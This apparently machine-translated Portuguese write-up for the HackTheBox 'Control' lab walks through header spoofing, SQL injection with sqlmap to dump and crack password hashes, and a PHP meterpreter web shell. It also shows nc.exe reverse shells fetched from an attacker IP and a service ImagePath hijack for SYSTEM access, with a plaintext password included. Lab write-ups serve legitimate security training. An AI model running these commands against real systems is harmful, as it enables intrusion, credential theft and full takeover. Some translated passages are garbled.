Corte a caixa. Controle de passagem. Injeção de SQL e LPE através de direitos de serviço

imagem

Continuo publicando soluções enviadas para processamento adicional no site da HackTheBox .

Neste artigo, penetramos no sistema por meio da injeção de SQL, investigamos o histórico da linha de comando e aumentamos nossos privilégios graças aos direitos do serviço.

A conexão ao laboratório é via VPN. É recomendável não conectar-se a partir de um computador de trabalho ou de um host em que os dados importantes para você estejam disponíveis, pois você acaba em uma rede privada com pessoas que sabem alguma coisa no campo da segurança da informação :)

Informações Organizacionais
, , Telegram . , , .

. , - , .

Recon


Esta máquina possui um endereço IP 10.10.10.167, que eu adiciono ao / etc / hosts.

10.10.10.167    control.htb

Primeiro, examinamos portas abertas. Como leva muito tempo para varrer todas as portas com o nmap, primeiro farei isso com o masscan. Examinamos todas as portas TCP e UDP da interface tun0 a uma velocidade de 1000 pacotes por segundo.

masscan -e tun0 -p1-65535,U:1-65535 10.10.10.167   --rate=1000

imagem

Agora, para obter informações mais detalhadas sobre os serviços que operam nas portas, executaremos uma varredura com a opção -A.
nmap -A control.htb -p80,135,3306,49667,49666

imagem

O host está executando um servidor da web. Vamos ver o que há lá.

imagem

E vemos que há um link para o painel de administração. Mas somos informados de que não há cabeçalho e devemos entrar em contato através de um proxy.

imagem

Ao mesmo tempo, no código fonte da página inicial, encontramos a mensagem:

imagem

Comparando o que você precisa para usar o proxy e o endereço encontrado, assumimos que você precisa passar por ele. O proxy é exibido no protocolo HTTP no cabeçalho x-forwarded-for. Vamos expor.

imagem

E vamos com sucesso para a página de administração. Vamos percorrer o navegador.

imagem

Mas quando você tenta fazer algo, eles nos lançam em uma página com uma mensagem de proxy. Isso ocorre porque não estamos substituindo o cabeçalho encontrado. Para não fazer isso sempre no Burp Suite, na guia Proxy -> Opções, encontramos a função "Corresponder e substituir".

imagem

E adicione uma nova entrada que adicionará automaticamente esse cabeçalho a todas as solicitações de saída.

imagem

E testando o campo de busca, encontramos a injeção de SQL.

imagem

Para operação, usamos o sqlmap. Vamos salvar esta solicitação em um arquivo (Copiar para arquivo) e executar o sqlmap, passando esse arquivo como parâmetro.
sqlmap -r headers.req

imagem

Ponto de entrada
Vamos ver quais bancos de dados estão disponíveis.
sqlmap -r headers.req --dbs

imagem

Vamos descobrir quais credenciais estão disponíveis. Vamos ver todas as tabelas no banco de dados mysql.
sqlmap -r headers.req -D mysql --tables

imagem

Então, estamos interessados ​​na tabela de usuários. Vamos pegar os nomes de todas as colunas.
sqlmap -r headers.req -D mysql -T user --columns

imagem

De todas as colunas, as mais interessantes são Usuário e Senha. Nós aprendemos o que está neles.
sqlmap -r headers.req -D mysql -T user -C User,Password --dump

imagem

O banco de dados contém vários usuários. O Sqlmap oferece para quebrar hashes. Selecionamos um ataque de dicionário, indicamos que queremos usar nosso dicionário e escrevemos o caminho para o rockyou.

imagem

Após alguns segundos, forneceremos uma tabela com nomes de usuário e hashes de suas senhas. Se o sqlmap foi capaz de decifrar a senha, ela será indicada ao lado do hash entre parênteses. Como você pode ver, temos as credenciais do usuário hector.

imagem

Não consegui obter o shell usando o sqlmap, mas gravando arquivos. Vamos postar a web caminhada. Primeiro, geramos a carga do meterpreter no formato PHP.
msfvenom -p php/meterpreter_reverse_tcp LHOST=10.10.15.82 LPORT=4321 -f raw > r.php
cat r.php | xclip -selection clipboard && echo '<?php ' | tr -d '\n' > r.php && xclip -selection clipboard -o >> r.php


Agora escreva-o usando o sqlmap no diretório do servidor web.
sqlmap -r headers.req --file-write=/home/ralf/tmp/r.php --file-dest=C:/inetpub/wwwroot/r.php

imagem

O arquivo foi gravado com sucesso. Execute o ouvinte.

imagem

E vire para o seu arquivo no servidor web.
curl http://control.htb/r.php


Na janela do Metasploit, observamos uma conexão bem-sucedida.

imagem

Vá para esta sessão.

imagem

Mas aqui está o problema, não podemos executar comandos através do shell.Além disso, essas tentativas redefinem a conexão. Vamos tentar ignorar o bloqueio, criando um processo do PowerShell no modo interativo (-i) oculto da vista (-H) e passando nosso comando como parâmetros (-a). Vamos descobrir em qual usuário estamos trabalhando.

imagem

DO UTILIZADOR


Temos credenciais Hector, descobriremos se existe um usuário no sistema.

imagem

Existe um usuário! Mas primeiro, descubra o nome do carro.

imagem

Temos nome de usuário, senha, domínio e nome da máquina. Agora vamos verificar se as credenciais que recebemos são adequadas. Para fazer isso, execute "whoami" em nome de Hector.
execute -f powershell -a "$username = 'Control\Hector' ; $password = 'l33th4x0rhector' ; $securePassword = ConvertTo-SecureString $password -AsPlainText -Force ; $credential = New-Object System.Management.Automation.PSCredential $username, $securePassword ; Invoke-command -computername Fidelity -credential $credential -scriptblock { whoami }" -i -H

imagem

Bem. Vamos pegar a concha. Execute o servidor da web no host local.
python3 -m http.server 80


E faça o upload para o host Netcat remoto.
execute -f powershell -a "$username = 'Control\Hector' ; $password = 'l33th4x0rhector' ; $securePassword = ConvertTo-SecureString $password -AsPlainText -Force ; $credential = New-Object System.Management.Automation.PSCredential $username, $securePassword ; Invoke-command -computername Fidelity -credential $credential -scriptblock { iwr 10.10.15.82/nc.exe -o C:\\Users\\Hector\\Documents\\nc.exe }" -i -H


Agora abra a porta 5432. nc -lvp 5432 e faça a conexão reversa a partir do host remoto.
execute -f powershell -a "$username = 'Control\Hector' ; $password = 'l33th4x0rhector' ; $securePassword = ConvertTo-SecureString $password -AsPlainText -Force ; $credential = New-Object System.Management.Automation.PSCredential $username, $securePassword ; Invoke-command -computername Fidelity -credential $credential -scriptblock { C:\\Users\\Hector\\Documents\\nc.exe -e powershell 10.10.15.82 5432 }" -i -H


Então pegamos o usuário.

imagem

RAIZ


Além disso, quando tentamos fazer upload de um dos meios de coleta de informações do host para o host (como BloodHound , PowerUp , JAWS , WinPEAS ), percebemos que o defensor os remove. Mas o WinPEAS possui uma versão em bastão que não pode ser desinstalada. Fazemos o upload para o host e o executamos. Além disso, é necessário apenas revisar cuidadosamente as informações coletadas. E encontramos um arquivo interessante ConsoleHost_history.txt,

imagem

veja o que ele contém.

imagem

Essas equipes são a única coisa que temos. O cmdlet Get-Acl recupera objetos que representam um descritor de segurança para um arquivo ou recurso. O descritor de segurança contém listas de controle de acesso a recursos (ACLs). A ACL contém as permissões exigidas pelos usuários e grupos de usuários para acessar o recurso. Assim, decidi que o caminho da solução está nos serviços e no acesso a eles. Vamos obter todos os serviços e permissões do Hector para eles.

get-acl HKLM:\System\CurrentControlSet\services\* | Format-List * | findstr /i "Hector Users Path"


Observando a saída, notamos que Hector tem direitos totais sobre o serviço de atualização do Windows - wuauserv.

imagem

Os serviços no sistema operacional Windows são executados com privilégios do sistema. Ao registrar um serviço no sistema, o caminho para o arquivo executável do serviço é protegido no atributo ImagePath. Vamos mudar o valor desse atributo e carregar o shell.
reg add "HKLM\System\CurrentControlSet\Services\wuauserv" /v ImagePath /t REG_SZ /d "C:\Users\Hector\Documents\nc.exe -e powershell 10.10.15.82 6543"


Agora inicie o serviço de atualização.
start-service wuauserv


E temos um shell com o máximo de privilégios.

imagem

Você pode se juntar a nós no Telegram . Lá você encontra materiais interessantes, cursos mesclados e softwares. Vamos montar uma comunidade na qual haverá pessoas versadas em muitas áreas da TI, para que possamos sempre ajudar-nos mutuamente em qualquer problema de segurança da informação e da TI.

All Articles